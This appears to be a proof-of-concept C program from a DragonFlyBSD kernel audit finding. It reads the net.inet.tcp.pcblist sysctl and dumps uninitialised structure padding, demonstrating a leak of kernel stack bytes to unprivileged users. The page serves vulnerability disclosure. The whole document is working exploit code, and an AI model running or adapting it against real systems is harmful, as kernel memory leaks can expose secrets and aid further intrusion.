DragonFlyBSD Kernel Audit
DF-2838 / pcbleak.c
← back to finding ↓ download raw
/*
 * DF-2838 PoC: sotoxsocket()/ssbtoxsockbuf() (uipc_socket2.c:827-848,
 * 188-198) fill every named field of struct xsocket / struct xsockbuf but
 * never the structure PADDING: 2 trailing pad bytes inside each xsockbuf
 * (after `short sb_flags`, 46 -> 48) and 4 tail pad bytes of struct
 * xsocket (after `uid_t so_uid`, 164 -> 168).  tcp_pcblist_sysctl
 * (netinet/tcp_subr.c) uses a stack `struct xtcpcb xt` that is never
 * zeroed, so 8 bytes of stale kernel stack per record are shipped to any
 * unprivileged reader of net.inet.tcp.pcblist.
 *
 * This program dumps exactly those pad offsets for every pcblist record,
 * three times, churning TCP connections in between to dirty the sysctl
 * thread's stack.
 *
 * Build: cc -D_KERNEL_STRUCTURES -I/usr/src/sys -I/usr/src/sys/sys \
 *            -o pcbleak pcbleak.c
 */
#include <sys/types.h>
#include <sys/param.h>
#include <stdint.h>
#include <sys/sysctl.h>
#include <sys/socket.h>
#include <sys/socketvar.h>
#include <netinet/in.h>
#include <netinet/tcp_var.h>
#include <arpa/inet.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <stddef.h>

#define RECSZ	sizeof(struct xtcpcb)

int
main(void)
{
	size_t p_rcv, p_snd, p_tail;
	size_t base = offsetof(struct xtcpcb, xt_socket);
	int run;

	p_rcv = base + offsetof(struct xsocket, so_rcv) + 46;
	p_snd = base + offsetof(struct xsocket, so_snd) + 46;
	p_tail = base + sizeof(struct xsocket) - 4;
	printf("sizeof(xtcpcb)=%zu xt_socket@%zu pad_offs: rcv=%zu snd=%zu tail=%zu\n",
	       RECSZ, base, p_rcv, p_snd, p_tail);

	for (run = 1; run <= 3; run++) {
		size_t len = 0;
		char *buf;
		int error, cnt = 0, nz = 0;
		size_t i;

		/* dirty the kernel stack that the sysctl handler will reuse */
		for (i = 0; i < 40; i++) {
			int s = socket(AF_INET, SOCK_STREAM, 0);
			struct sockaddr_in sa;
			memset(&sa, 0, sizeof(sa));
			sa.sin_family = AF_INET;
			sa.sin_len = sizeof(sa);
			sa.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
			sa.sin_port = htons(9);	/* discard */
			connect(s, (struct sockaddr *)&sa, sizeof(sa));
			close(s);
		}

		error = sysctlbyname("net.inet.tcp.pcblist", NULL, &len,
				     NULL, 0);
		if (error) {
			printf("run %d: sysctl estimate: %s\n", run,
			       strerror(errno));
			return (1);
		}
		/* second estimate pass keeps len; shrink so handler re-fills */
		buf = malloc(len);
		error = sysctlbyname("net.inet.tcp.pcblist", buf, &len,
				     NULL, 0);
		if (error) {
			printf("run %d: sysctl: %s\n", run, strerror(errno));
			return (1);
		}
		printf("run %d: pcblist len=%zu (%zu records)\n",
		       run, len, len / RECSZ);
		for (i = 0; i + RECSZ <= len; i += RECSZ, cnt++) {
			unsigned char *rec = (unsigned char *)buf + i;
			unsigned char *pr = rec + p_rcv;
			unsigned char *ps = rec + p_snd;
			unsigned char *pt = rec + p_tail;
			int rnz = 0;

			printf("  rec#%d pads: rcv=%02x%02x snd=%02x%02x "
			       "tail=%02x%02x%02x%02x\n",
			       cnt, pr[1], pr[0], ps[1], ps[0],
			       pt[3], pt[2], pt[1], pt[0]);
			if (pr[0] | pr[1]) rnz |= 1;
			if (ps[0] | ps[1]) rnz |= 2;
			if (pt[0] | pt[1] | pt[2] | pt[3]) rnz |= 4;
			if (rnz)
				nz++;
		}
		printf("run %d: %d/%d records have nonzero pad bytes\n",
		       run, nz, cnt);
		free(buf);
	}
	return (0);
}